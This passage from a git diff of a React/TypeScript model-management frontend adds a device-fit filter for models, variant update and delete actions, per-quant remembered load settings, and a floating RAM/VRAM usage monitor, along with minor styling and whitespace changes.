       .filter((id) => id.toLowerCase().startsWith("unsloth/"))
@@ -1848,6 +2044,9 @@ export function HubModelPicker({
     isKnownGgufRepo,
     isChatSupported,
     formatFilter,
+    fitOnDeviceOnly,
+    downloadedSet,
+    gpu,
     isMac,
   ]);
 
@@ -2136,6 +2335,35 @@ export function HubModelPicker({
   // selected-item checkmark never overlaps the label.
   const sortMenuContentClassName =
     "!p-1 !rounded-[14px] [&_[role=option]]:!pl-2 [&_[role=option]]:!py-1.5 [&_[role=option]]:!text-xs [&_[role=option]]:!rounded-[10px]";
+  // Device-fit toggle lives inside the sort menu (shared with the Hub page).
+  // The whole row is the click target (a button): a Checkbox renders as a
+  // <button>, and label-click forwarding to a button is unreliable, so the row
+  // owns the toggle and the Checkbox is presentational (pointer-events-none).
+  const fitOnDeviceFooter = (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <button
+          type="button"
+          role="checkbox"
+          aria-checked={fitOnDeviceOnly}
+          onClick={() => setFitOnDeviceOnly(!fitOnDeviceOnly)}
+          className="flex w-full cursor-pointer select-none items-center gap-1.5 rounded-[10px] px-2 py-1.5 text-left text-xs text-muted-foreground transition-colors hover:text-foreground"
+        >
+          <Checkbox
+            checked={fitOnDeviceOnly}
+            tabIndex={-1}
+            aria-hidden
+            className="pointer-events-none size-3.5 rounded-full [&_svg]:!size-2.5"
+          />
+          Only show models that fit
+        </button>
+      </TooltipTrigger>
+      <TooltipContent side="bottom">
+        Hides models larger than this device's memory budget. Downloaded models
+        stay visible.
+      </TooltipContent>
+    </Tooltip>
+  );
   const sectionSortDropdown =
     section === "recommended" ? (
       <HubOptionMenu
@@ -2146,6 +2374,7 @@ export function HubModelPicker({
         align="end"
         className={sortTriggerClassName}
         contentClassName={sortMenuContentClassName}
+        footer={fitOnDeviceFooter}
       />
     ) : section === "downloaded" ? (
       <HubOptionMenu
@@ -2156,6 +2385,7 @@ export function HubModelPicker({
         align="end"
         className={sortTriggerClassName}
         contentClassName={sortMenuContentClassName}
+        footer={fitOnDeviceFooter}
       />
     ) : (
       <HubOptionMenu
@@ -2166,6 +2396,7 @@ export function HubModelPicker({
         align="end"
         className={sortTriggerClassName}
         contentClassName={sortMenuContentClassName}
+        footer={fitOnDeviceFooter}
       />
     );
 
@@ -2253,14 +2484,21 @@ export function HubModelPicker({
             onDevice={true}
             onHasVision={(v) => reportVision(c.repo_id, v)}
             onSelect={onSelect}
+            hfToken={hfToken || undefined}
             parentOptionKey={optionKey}
             onNavigatePastStart={() => hubModelList.focusOption(optionKey)}
             onNavigatePastEnd={() => hubModelList.moveFocus(optionKey, "next")}
             gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
             systemRamGb={gpu.systemRamAvailableGb || undefined}
-            onDeleteVariant={async (quant) => {
-              await deleteCachedModel(c.repo_id, quant);
-              refreshCachedLists();
+            variantActions={{
+              onUpdate: (quant, expectedBytes) =>
+                updateGgufVariant(c.repo_id, quant, expectedBytes),
+              // Can't update the model that's live in memory under itself.
+              updateDisabled: loadedModelId === c.repo_id,
+              onDelete: async (quant) => {
+                await deleteCachedModel(c.repo_id, quant);
+                refreshCachedLists();
+              },
             }}
           />
         )}
@@ -2319,7 +2557,8 @@ export function HubModelPicker({
   };
 
   return (
-    <div className="relative space-y-2">
+    <>
+      <div className="relative space-y-2">
       {/* A small right inset shortens the search bar so Search Hub lands on the
           last dropdown's right edge (none on the wider Connected box). */}
       <div
@@ -2336,7 +2575,11 @@ export function HubModelPicker({
           <Input
             value={query}
             onChange={(event) => setQuery(event.target.value)}
-            placeholder="Search models"
+            placeholder={
+              section === "downloaded"
+                ? "Search local models"
+                : "Search Unsloth models"
+            }
             data-model-picker-search-input={true}
             className="field-soft h-9 border-0 pl-8 pr-8"
           />
@@ -2345,15 +2588,20 @@ export function HubModelPicker({
           )}
         </div>
         {onBrowseHub ? (
-          <button
-            type="button"
-            onClick={onBrowseHub}
-            aria-label="Search more models on the Hub"
-            className="hub-tab-toggle-pill flex h-9 w-[110px] shrink-0 items-center justify-center gap-[5px] rounded-full border-0 text-xs text-foreground transition-colors"
-          >
-            <HugeiconsIcon icon={DashboardCircleIcon} className="size-4" />
-            Search Hub
-          </button>
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <button
+                type="button"
+                onClick={onBrowseHub}
+                aria-label="Search more models on the Hub"
+                className="hub-tab-toggle-pill flex h-9 w-[110px] shrink-0 items-center justify-center gap-[5px] rounded-full border-0 text-xs text-foreground transition-colors"
+              >
+                <HugeiconsIcon icon={DashboardCircleIcon} className="size-4" />
+                Search Hub
+              </button>
+            </TooltipTrigger>
+            <TooltipContent>Search all models</TooltipContent>
+          </Tooltip>
         ) : null}
       </div>
 
@@ -2386,7 +2634,7 @@ export function HubModelPicker({
           // Height tracks the content up to the cap, so short lists do not
           // leave white space. scroll-py + symmetric px keep the focus ring off
           // the overflow clip edges during keyboard nav.
-          "model-list-scroll max-h-[21rem] overflow-y-auto scroll-py-1.5 px-0.5 mr-1",
+          "model-list-scroll max-h-[335px] overflow-y-auto scroll-py-1.5 px-0.5 mr-1",
           listScrolled && "is-scrolled",
           listMoreBelow && "is-bottom-faded",
         )}
@@ -2870,6 +3118,10 @@ export function HubModelPicker({
                           <ModelRow
                             label={m.model_id ?? m.display_name}
                             meta={isGguf ? "GGUF" : "Local"}
+                            tooltipText={localPathTooltip(
+                              m.model_id ?? m.display_name,
+                              m.path,
+                            )}
                             selected={value === m.id}
                             optionProps={hubModelList.getOptionProps(
                               optionKey,
@@ -2896,7 +3148,7 @@ export function HubModelPicker({
                               }
                             }}
                             onArrowDownIntoChildren={
-                              isGgufExpanded(m.id)
+                              isGguf && !isDirectGguf && isGgufExpanded(m.id)
                                 ? () => {
                                     const focused =
                                       focusFirstChildOption(optionKey);
@@ -2906,7 +3158,7 @@ export function HubModelPicker({
                             }
                             vramStatus={null}
                           />
-                          {isGgufExpanded(m.id) && (
+                          {isGguf && !isDirectGguf && isGgufExpanded(m.id) && (
                             <GgufVariantExpander
                               repoId={m.id}
                               onDevice={true}
@@ -2959,6 +3211,10 @@ export function HubModelPicker({
                           <ModelRow
                             label={m.model_id ?? m.display_name}
                             meta={isGguf ? "GGUF" : "Local"}
+                            tooltipText={localPathTooltip(
+                              m.model_id ?? m.display_name,
+                              m.path,
+                            )}
                             selected={value === m.id}
                             optionProps={hubModelList.getOptionProps(
                               optionKey,
@@ -2983,7 +3239,7 @@ export function HubModelPicker({
                               }
                             }}
                             onArrowDownIntoChildren={
-                              !isGgufFile && isGgufExpanded(m.id)
+                              isGguf && !isGgufFile && isGgufExpanded(m.id)
                                 ? () => {
                                     const focused =
                                       focusFirstChildOption(optionKey);
@@ -2993,7 +3249,7 @@ export function HubModelPicker({
                             }
                             vramStatus={null}
                           />
-                          {!isGgufFile && isGgufExpanded(m.id) && (
+                          {isGguf && !isGgufFile && isGgufExpanded(m.id) && (
                             <GgufVariantExpander
                               repoId={m.id}
                               onDevice={true}
@@ -3040,6 +3296,10 @@ export function HubModelPicker({
                           <ModelRow
                             label={m.model_id ?? m.display_name}
                             meta={isGguf ? "GGUF" : "Local"}
+                            tooltipText={localPathTooltip(
+                              m.model_id ?? m.display_name,
+                              m.path,
+                            )}
                             selected={value === m.id}
                             optionProps={hubModelList.getOptionProps(
                               optionKey,
@@ -3064,13 +3324,13 @@ export function HubModelPicker({
                               }
                             }}
                             onArrowDownIntoChildren={
-                              !isGgufFile && isGgufExpanded(m.id)
+                              isGguf && !isGgufFile && isGgufExpanded(m.id)
                                 ? () => focusFirstChildOption(optionKey)
                                 : undefined
                             }
                             vramStatus={null}
                           />
-                          {!isGgufFile && isGgufExpanded(m.id) && (
+                          {isGguf && !isGgufFile && isGgufExpanded(m.id) && (
                             <GgufVariantExpander
                               repoId={m.id}
                               onDevice={true}
@@ -3154,6 +3414,7 @@ export function HubModelPicker({
                             <GgufVariantExpander
                               repoId={id}
                               onSelect={onSelect}
+                              hfToken={hfToken || undefined}
                               parentOptionKey={optionKey}
                               onNavigatePastStart={() =>
                                 hubModelList.focusOption(optionKey)
@@ -3165,9 +3426,11 @@ export function HubModelPicker({
                                 gpu.available ? gpu.memoryTotalGb : undefined
                               }
                               systemRamGb={gpu.systemRamAvailableGb || undefined}
-                              onDeleteVariant={async (quant) => {
-                                await deleteCachedModel(id, quant);
-                                refreshCachedLists();
+                              variantActions={{
+                                onDelete: async (quant) => {
+                                  await deleteCachedModel(id, quant);
+                                  refreshCachedLists();
+                                },
                               }}
                             />
                           )}
@@ -3239,6 +3502,7 @@ export function HubModelPicker({
                           <GgufVariantExpander
                             repoId={id}
                             onSelect={onSelect}
+                            hfToken={hfToken || undefined}
                             parentOptionKey={optionKey}
                             onNavigatePastStart={() =>
                               hubModelList.focusOption(optionKey)
@@ -3250,9 +3514,11 @@ export function HubModelPicker({
                               gpu.available ? gpu.memoryTotalGb : undefined
                             }
                             systemRamGb={gpu.systemRamAvailableGb || undefined}
-                            onDeleteVariant={async (quant) => {
-                              await deleteCachedModel(id, quant);
-                              refreshCachedLists();
+                            variantActions={{
+                              onDelete: async (quant) => {
+                                await deleteCachedModel(id, quant);
+                                refreshCachedLists();
+                              },
                             }}
                           />
                         )}
@@ -3326,6 +3592,7 @@ export function HubModelPicker({
                             <GgufVariantExpander
                               repoId={id}
                               onSelect={onSelect}
+                              hfToken={hfToken || undefined}
                               parentOptionKey={optionKey}
                               onNavigatePastStart={() =>
                                 hubModelList.focusOption(optionKey)
@@ -3337,9 +3604,11 @@ export function HubModelPicker({
                                 gpu.available ? gpu.memoryTotalGb : undefined
                               }
                               systemRamGb={gpu.systemRamAvailableGb || undefined}
-                              onDeleteVariant={async (quant) => {
-                                await deleteCachedModel(id, quant);
-                                refreshCachedLists();
+                              variantActions={{
+                                onDelete: async (quant) => {
+                                  await deleteCachedModel(id, quant);
+                                  refreshCachedLists();
+                                },
                               }}
                             />
                           )}
@@ -3362,11 +3631,11 @@ export function HubModelPicker({
       {/* Floating eject pill: overlaid on the list bottom, outside the scroll
           so the edge fade never touches it. Only the pill catches clicks. */}
       {onEject ? (
-        <div className="pointer-events-none absolute inset-x-0 bottom-0 flex justify-end pr-3.5 pb-5">
+        <div className="pointer-events-none absolute inset-x-0 bottom-0 flex justify-end pr-3.5 pb-[19px]">
           <button
             type="button"
             onClick={onEject}
-            className="pointer-events-auto inline-flex items-center justify-center gap-2 rounded-md bg-popover px-3 py-2 text-[13px] text-destructive shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] transition-colors hover:bg-[color-mix(in_srgb,var(--destructive)_12%,var(--popover))] dark:bg-[color-mix(in_srgb,var(--foreground)_10%,var(--sidebar))] dark:shadow-none dark:hover:bg-[color-mix(in_srgb,var(--destructive)_22%,var(--sidebar))]"
+            className="pointer-events-auto inline-flex items-center justify-center gap-2 rounded-md bg-popover px-3 py-2 text-[13px] font-medium text-destructive shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] transition-colors hover:bg-[color-mix(in_srgb,var(--destructive)_12%,var(--popover))] dark:bg-[color-mix(in_srgb,var(--foreground)_10%,var(--sidebar))] dark:shadow-none dark:hover:bg-[color-mix(in_srgb,var(--destructive)_22%,var(--sidebar))]"
             title="Eject model"
           >
             <HugeiconsIcon icon={RemoveCircleIcon} className="size-3.5" />
@@ -3374,7 +3643,14 @@ export function HubModelPicker({
           </button>
         </div>
       ) : null}
-    </div>
+      </div>
+      <TransportConflictDialog
+        conflict={updateTransportConflict}
+        onCancel={cancelUpdateConflict}
+        onKeepTransport={resumeUpdateConflict}
+        onSwitchTransport={restartUpdateConflict}
+      />
+    </>
   );
 }
 
@@ -3526,22 +3802,21 @@ function FineTunedRows({
                 gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
                 systemRamGb={gpu.systemRamAvailableGb || undefined}
                 sourceOverride={isExportedGguf ? "exported" : undefined}
-                deleteVariantTitle="Delete exported GGUF variant?"
-                renderDeleteVariantDescription={(quant) => (
-                  <>
-                    This will remove{" "}
-                    <span className="font-medium text-foreground">
-                      {adapter.name} ({quant})
-                    </span>{" "}
-                    from disk. This cannot be undone.
-                  </>
-                )}
-                getDeleteVariantSuccessMessage={(quant) =>
-                  `Deleted ${adapter.name} ${quant}`
-                }
-                deleteDisabled={deleteDisabled}
-                onDeleteVariant={
-                  isExportedGguf
+                variantActions={{
+                  deleteTitle: "Delete exported GGUF variant?",
+                  renderDeleteDescription: (quant) => (
+                    <>
+                      This will remove{" "}
+                      <span className="font-medium text-foreground">
+                        {adapter.name} ({quant})
+                      </span>{" "}
+                      from disk. This cannot be undone.
+                    </>
+                  ),
+                  getDeleteSuccessMessage: (quant) =>
+                    `Deleted ${adapter.name} ${quant}`,
+                  deleteDisabled: deleteDisabled,
+                  onDelete: isExportedGguf
                     ? async (quant) => {
                         await deleteFineTunedModel({
                           modelPath: adapter.id,
@@ -3554,8 +3829,8 @@ function FineTunedRows({
                           ggufVariant: quant,
                         });
                       }
-                    : undefined
-                }
+                    : undefined,
+                }}
               />
             )}
           </div>
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
index 24f0edc784..7c2ed266c0 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
+++ b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
@@ -114,3 +114,35 @@ export function fitsDevice(opts: {
   }
   return requireKnown ? false : true;
 }
+
+/** Fit predicate for one Hub listing row, shared by the chat model selector
+ * and the Hub page "Fits on device" filter. GGUF repos: metadata size (actual
+ * weights) or the smallest-quant estimate from the param count. Safetensors /
+ * MLX repos: always the params-based smallest-quant estimate, matching the
+ * VRAM badge's quantized-load assumption; their estimatedSizeBytes is the
+ * full-precision checkpoint and would wrongly hide models the quantized load
+ * path can run. Anything unsizable is hidden (requireKnown) so over-budget
+ * models with no metadata don't slip through. An unknown device budget keeps
+ * everything. */
+export function hfModelFitsDevice(
+  model: {
+    id: string;
+    totalParams?: number;
+    estimatedSizeBytes?: number;
+    isGguf?: boolean;
+  },
+  gpu: { memoryTotalGb: number; systemRamAvailableGb: number },
+): boolean {
+  if (gpu.memoryTotalGb <= 0 && gpu.systemRamAvailableGb <= 0) return true;
+  const params = model.totalParams ?? paramsFromId(model.id);
+  const quantBytes = params ? estimateQuantBytes(params) : undefined;
+  const sizeBytes = isGgufId(model.id, model.isGguf)
+    ? (model.estimatedSizeBytes ?? quantBytes)
+    : (quantBytes ?? model.estimatedSizeBytes);
+  return fitsDevice({
+    sizeBytes,
+    gpuGb: gpu.memoryTotalGb,
+    systemRamGb: gpu.systemRamAvailableGb,
+    requireKnown: true,
+  });
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts b/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts
index 85e088ffb2..ec75b17f20 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts
+++ b/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts
@@ -14,6 +14,21 @@ export interface RememberedLoadSettings {
   tensorParallel: boolean;
 }
 
+// Storage key for a pick's remembered settings. The remembered knobs are
+// VRAM-budget driven (context override, KV-cache dtype, tensor-parallel), so the
+// right values differ per quant. An HF repo collapses all its GGUF variants into
+// one `id`, so fold the variant in to scope settings per quant. Local .gguf
+// paths key by their file path (already file-specific); native drag-drop files
+// key by display label, so same-named files in different folders share an entry.
+export function rememberedLoadSettingsKey(selection: {
+  id: string;
+  ggufVariant?: string | null;
+}): string {
+  return selection.ggufVariant
+    ? `${selection.id}::${selection.ggufVariant}`
+    : selection.id;
+}
+
 function readAll(): Record<string, RememberedLoadSettings> {
   try {
     return JSON.parse(localStorage.getItem(KEY) ?? "{}");
@@ -31,24 +46,24 @@ function writeAll(all: Record<string, RememberedLoadSettings>) {
 }
 
 export function loadRememberedLoadSettings(
-  modelId: string,
+  key: string,
 ): RememberedLoadSettings | null {
-  return readAll()[modelId] ?? null;
+  return readAll()[key] ?? null;
 }
 
 export function saveRememberedLoadSettings(
-  modelId: string,
+  key: string,
   settings: RememberedLoadSettings,
 ) {
   const all = readAll();
-  all[modelId] = settings;
+  all[key] = settings;
   writeAll(all);
 }
 
-export function clearRememberedLoadSettings(modelId: string) {
+export function clearRememberedLoadSettings(key: string) {
   const all = readAll();
-  if (modelId in all) {
-    delete all[modelId];
+  if (key in all) {
+    delete all[key];
     writeAll(all);
   }
 }
diff --git a/studio/frontend/src/components/assistant-ui/reasoning.tsx b/studio/frontend/src/components/assistant-ui/reasoning.tsx
index a6c326c64e..c5b53577cb 100644
--- a/studio/frontend/src/components/assistant-ui/reasoning.tsx
+++ b/studio/frontend/src/components/assistant-ui/reasoning.tsx
@@ -20,7 +20,8 @@ import {
 } from "@assistant-ui/react";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { type VariantProps, cva } from "class-variance-authority";
-import { ChevronDownIcon, CopyIcon, LightbulbIcon } from "lucide-react";
+import { ChevronDownIcon, CopyIcon } from "lucide-react";
+import { BulbIcon } from "@/lib/bulb-icon";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
@@ -128,7 +129,7 @@ function ReasoningTrigger({
       )}
       {...props}
     >
-      <LightbulbIcon className="aui-reasoning-trigger-icon size-4 shrink-0" />
+      <BulbIcon className="aui-reasoning-trigger-icon size-4 shrink-0" />
       <span
         data-slot="reasoning-trigger-label"
         className="aui-reasoning-trigger-label-wrapper relative inline-block leading-none"
@@ -393,7 +394,8 @@ const ReasoningGroupImpl: ReasoningGroupComponent = ({
         <ReasoningTrigger
           className="min-w-0 flex-1"
           active={isReasoningStreaming}
-          duration={duration || persistedDuration}
+          // Prefer server timing when available.
+          duration={persistedDuration || duration}
         />
         <div className="flex w-16 shrink-0 justify-end">
           {isOpen && !isReasoningStreaming && (
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index 57e6d02f55..7fe98b701f 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -968,7 +968,9 @@ export const Thread: FC<{
             scrollToBottomOnThreadSwitch={false}
             className={cn(
               "aui-thread-viewport aui-stream-viewport relative flex min-h-0 min-w-0 flex-1 basis-0 flex-col overflow-x-auto overflow-y-auto scroll-smooth px-5",
-              hideComposer ? "pt-4" : "pt-[48px]",
+              hideComposer
+                ? "pt-4"
+                : "pt-[calc(var(--studio-content-top-inset,0px)+48px)]",
             )}
           >
             {!hideWelcome && (
@@ -3043,6 +3045,7 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
           type="button"
           aria-label="Tools and attachments"
           className="unsloth-composer-plus"
+          data-tour="chat-plus-menu"
         >
           <PlusIcon className="size-[22px] stroke-[1.75px]" />
         </button>
@@ -3552,9 +3555,9 @@ const DiffusionCanvas: FC = () => {
 
 /**
  * AssistantMessage handles the display and inline-editing of AI responses.
- * 
- * It utilizes a "Tagged Text" system (<THINK> and <TOOL> tags) to allow users 
- * to edit structured reasoning and tool outputs within a plain-text textarea 
+ *
+ * It utilizes a "Tagged Text" system (<THINK> and <TOOL> tags) to allow users
+ * to edit structured reasoning and tool outputs within a plain-text textarea
  * while preserving the underlying data schema and tool-call metadata.
  */
 const AssistantMessage: FC = () => {
@@ -3562,7 +3565,7 @@ const AssistantMessage: FC = () => {
   const messageId = useAuiState(({ message }) => message.id);
   const messageContent = useAuiState(({ message }) => message.content);
   const incognito = useChatRuntimeStore((s) => s.incognito);
-  
+
   // Use global store for editing state to ensure a single source of truth
   const editingId = useChatRuntimeStore((s) => s.editingMessageId);
   const setEditingId = useChatRuntimeStore((s) => s.setEditingMessageId);
@@ -3585,9 +3588,9 @@ const AssistantMessage: FC = () => {
 
   const handleSave = async () => {
     const finalText = textareaRef.current?.value || "";
-    
+
     // Prioritize the specific thread item ID, then fallback to the global active thread ID
-    const remoteId = aui.threadListItem().getState().remoteId 
+    const remoteId = aui.threadListItem().getState().remoteId
                   || useChatRuntimeStore.getState().activeThreadId;
 
     if (!remoteId || remoteId === "" || remoteId === "/") {
@@ -3598,9 +3601,9 @@ const AssistantMessage: FC = () => {
 
     try {
       await updateThreadMessage({
-        thread: { 
-          export: () => aui.thread().export(), 
-          import: (data) => aui.thread().import(data) 
+        thread: {
+          export: () => aui.thread().export(),
+          import: (data) => aui.thread().import(data)
         },
         messageId,
         remoteId,
@@ -3623,14 +3626,14 @@ const AssistantMessage: FC = () => {
       <div className="aui-assistant-message-content wrap-break-word min-w-0 text-[#0d0d0d] dark:text-foreground leading-relaxed">
         {isEditing ? (
           <div className="flex flex-col gap-2 w-full">
-            <textarea 
+            <textarea
               ref={textareaRef}
               defaultValue={extractTaggedText(messageContent)}
-              className="w-full p-3 rounded-xl bg-muted border border-border text-foreground focus:ring-2 focus:ring-primary outline-none overflow-y-auto resize-none font-mono text-sm max-h-[70vh]" 
+              className="w-full p-3 rounded-xl bg-muted border border-border text-foreground focus:ring-2 focus:ring-primary outline-none overflow-y-auto resize-none font-mono text-sm max-h-[70vh]"
               autoFocus
-              onInput={adjustHeight} 
+              onInput={adjustHeight}
               onKeyDown={(e) => {
-                e.stopPropagation(); 
+                e.stopPropagation();
                 if (e.key === 'Enter' && (e.ctrlKey || e.metaKey)) {
                   handleSave();
                 }
@@ -3649,10 +3652,10 @@ const AssistantMessage: FC = () => {
             <GeneratingIndicator />
             <CancelledIndicator />
             <DiffusionCanvas />
-            
-            {/* 
-                We use the standard MessagePrimitive.Parts. This ensures that 
-                edited messages maintain the same professional styling, 
+
+            {/*
+                We use the standard MessagePrimitive.Parts. This ensures that
+                edited messages maintain the same professional styling,
                 Markdown rendering, and tool-call components as original responses.
             */}
             <MessagePrimitive.Parts
diff --git a/studio/frontend/src/components/floating-monitor.tsx b/studio/frontend/src/components/floating-monitor.tsx
new file mode 100644
index 0000000000..bce4bf2831
--- /dev/null
+++ b/studio/frontend/src/components/floating-monitor.tsx
@@ -0,0 +1,162 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Progress } from "@/components/ui/progress";
+import { useMonitorOverlayStore } from "@/features/settings/stores/monitor-overlay-store";
+import { useSystemInfo } from "@/hooks/use-system";
+import { useT } from "@/i18n";
+import { cn } from "@/lib/utils";
+import { CpuIcon, GripVerticalIcon, XIcon } from "lucide-react";
+import { motion } from "motion/react";
+import { useRef } from "react";
+
+function clampPercent(value: number): number {
+  return Math.max(0, Math.min(100, value));
+}
+
+function usageIndicatorClass(percent: number): string {
+  if (percent >= 90) return "bg-destructive";
+  if (percent >= 70) return "bg-amber-500";
+  return "bg-primary";
+}
+
+function usageTextClass(percent: number): string {
+  if (percent >= 90) return "text-destructive";
+  if (percent >= 70) return "text-amber-600 dark:text-amber-400";
+  return "text-primary";
+}
+
+function formatGiB(value: number): string {
+  // RAM/VRAM come from the backend in binary units (bytes / 1024**3), matching
+  // nvidia-smi and PyTorch, so label the readout GiB rather than GB.
+  const digits = value >= 10 ? 1 : 2;
+  return `${value.toFixed(digits)} GiB`;
+}
+
+export function FloatingMonitor() {
+  const t = useT();
+  const { isOpen, setIsOpen } = useMonitorOverlayStore();
+  const systemInfo = useSystemInfo({ enabled: isOpen, pollMs: 5000 });
+
+  const constraintsRef = useRef<HTMLDivElement>(null);
+
+  if (!isOpen) return null;
+
+  const ramTotal = systemInfo.memory?.total_gb ?? 0;
+  const ramAvailable = systemInfo.memory?.available_gb ?? 0;
+  const ramUsed = Math.max(0, ramTotal - ramAvailable);
+  const ramPercent = clampPercent(systemInfo.memory?.percent_used ?? 0);
+
+  const devices = systemInfo.gpu?.devices ?? [];
+  const vramTotal = devices.reduce(
+    (sum, device) => sum + (device.memory_total_gb ?? 0),
+    0,
+  );
+  const vramUsed = devices.reduce(
+    (sum, device) => sum + (device.vram_used_gb ?? 0),
+    0,
+  );
+  const vramPercent = clampPercent(
+    vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0,
+  );
+
+  const hasGpu = (systemInfo.gpu?.available ?? false) && devices.length > 0;
+
+  return (
+    <div
+      ref={constraintsRef}
+      className="fixed inset-0 z-50 pointer-events-none"
+    >
+      <motion.div
+        layout={true}
+        drag={true}
+        dragConstraints={constraintsRef}
+        dragElastic={0.1}
+        dragMomentum={false}
+        initial={{ opacity: 0, scale: 0.9 }}
+        animate={{ opacity: 1, scale: 1 }}
+        exit={{ opacity: 0, scale: 0.9 }}
+        className="settings-surface fixed bottom-4 right-4 w-64 max-w-[calc(100vw-2rem)] resize overflow-hidden rounded-xl border border-border/70 p-3 shadow-border ring-0 backdrop-blur-sm pointer-events-auto cursor-default select-none"
+      >
+        <div className="mb-2 flex items-center justify-between gap-2 border-b border-border/60 pb-2">
+          <div className="flex min-w-0 flex-1 items-center gap-1.5 truncate text-xs font-semibold text-foreground">
+            <CpuIcon className="size-3.5 shrink-0 text-primary" />
+            <span className="truncate">
+              {t("settings.resources.liveMonitor.title")}
+            </span>
+          </div>
+          <div className="flex items-center gap-1 shrink-0">
+            <div className="cursor-grab rounded-md px-1 text-muted-foreground/60 transition-colors hover:bg-muted/60 hover:text-muted-foreground active:cursor-grabbing">
+              <GripVerticalIcon className="size-3.5" />
+            </div>
+
+            <Button
+              size="icon-xs"
+              variant="ghost"
+              className="text-muted-foreground hover:text-foreground"
+              onClick={() => setIsOpen(false)}
+              title={t("common.close")}
+              aria-label={t("common.close")}
+            >
+              <XIcon className="size-3" />
+            </Button>
+          </div>
+        </div>
+
+        <motion.div
+          initial={{ opacity: 0, height: 0 }}
+          animate={{ opacity: 1, height: "auto" }}
+          exit={{ opacity: 0, height: 0 }}
+          className="space-y-3 overflow-hidden"
+        >
+          <div className="space-y-1">
+            <div className="flex justify-between text-[11px] font-medium font-mono">
+              <span>{t("settings.resources.liveMonitor.ram")}</span>
+              <span className={cn("tabular-nums", usageTextClass(ramPercent))}>
+                {Math.round(ramPercent)}%
+              </span>
+            </div>
+            <div className="text-xs text-muted-foreground font-mono tabular-nums">
+              {formatGiB(ramUsed)} / {formatGiB(ramTotal)}
+            </div>
+            <Progress
+              value={ramPercent}
+              className="mt-1 h-1.5 rounded-full bg-muted"
+              indicatorClassName={usageIndicatorClass(ramPercent)}
+            />
+          </div>
+
+          {hasGpu && (
+            <div className="space-y-1">
+              <div className="flex justify-between text-[11px] font-medium font-mono">
+                <span className="truncate flex-1 pr-2">
+                  {t("settings.resources.liveMonitor.vram")}{" "}
+                  {devices.length > 1
+                    ? `(${devices.length} GPUs)`
+                    : `(${devices[0].name ?? "GPU"})`}
+                </span>
+                <span
+                  className={cn(
+                    "shrink-0 tabular-nums",
+                    usageTextClass(vramPercent),
+                  )}
+                >
+                  {Math.round(vramPercent)}%
+                </span>
+              </div>
+              <div className="text-xs text-muted-foreground font-mono tabular-nums">
+                {formatGiB(vramUsed)} / {formatGiB(vramTotal)}
+              </div>
+              <Progress
+                value={vramPercent}
+                className="mt-1 h-1.5 rounded-full bg-muted"
+                indicatorClassName={usageIndicatorClass(vramPercent)}
+              />
+            </div>
+          )}
+        </motion.div>
+      </motion.div>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/components/navbar.tsx b/studio/frontend/src/components/navbar.tsx
index 716c9d791f..44387f2480 100644
--- a/studio/frontend/src/components/navbar.tsx
+++ b/studio/frontend/src/components/navbar.tsx
@@ -1,13 +1,24 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { shouldUseNativeMacWindowTitlebar } from "@/components/tauri/window-titlebar";
 import { SidebarTrigger, useSidebar } from "@/components/ui/sidebar";
+import { useState } from "react";
 
 export function Navbar() {
   const { isMobile } = useSidebar();
+  const [usesNativeMacTitlebar] = useState(shouldUseNativeMacWindowTitlebar);
   if (!isMobile) {
     return (
-      <header className="absolute top-0 inset-x-0 z-40 h-[48px] pointer-events-none" />
+      <header className="absolute top-0 inset-x-0 z-40 h-[48px] pointer-events-none">
+        {usesNativeMacTitlebar && (
+          <div
+            data-tauri-drag-region
+            aria-hidden="true"
+            className="pointer-events-auto absolute inset-x-0 top-0 h-[var(--studio-mac-titlebar-height,34px)] select-none"
+          />
+        )}
+      </header>
     );
   }
   return (
diff --git a/studio/frontend/src/components/tauri/startup-screen.tsx b/studio/frontend/src/components/tauri/startup-screen.tsx
index fd67a8a841..678051b36b 100644
--- a/studio/frontend/src/components/tauri/startup-screen.tsx
+++ b/studio/frontend/src/components/tauri/startup-screen.tsx
@@ -433,12 +433,12 @@ export function StartupScreen({
   }
 
   return (
-    <div className="flex h-full w-full flex-col items-center bg-background">
-      <div className="flex flex-1 w-full max-w-md items-center justify-center px-6">
+    <div className="box-border flex h-full w-full flex-col items-center overflow-y-auto bg-background pb-6 pt-[var(--studio-startup-top-inset,0px)]">
+      <div className="flex min-h-0 flex-1 w-full max-w-md items-center justify-center px-6">
         <AnimatePresence mode="wait">
           <motion.div
             key={status}
-            className="flex h-full w-full flex-col items-center text-center"
+            className="flex h-full w-full flex-col items-center justify-center text-center"
             initial={{ opacity: 0 }}
             animate={{ opacity: 1 }}
             exit={{ opacity: 0 }}
diff --git a/studio/frontend/src/components/tauri/update-banner.tsx b/studio/frontend/src/components/tauri/update-banner.tsx
index 62038f92a9..4fe8a54377 100644
--- a/studio/frontend/src/components/tauri/update-banner.tsx
+++ b/studio/frontend/src/components/tauri/update-banner.tsx
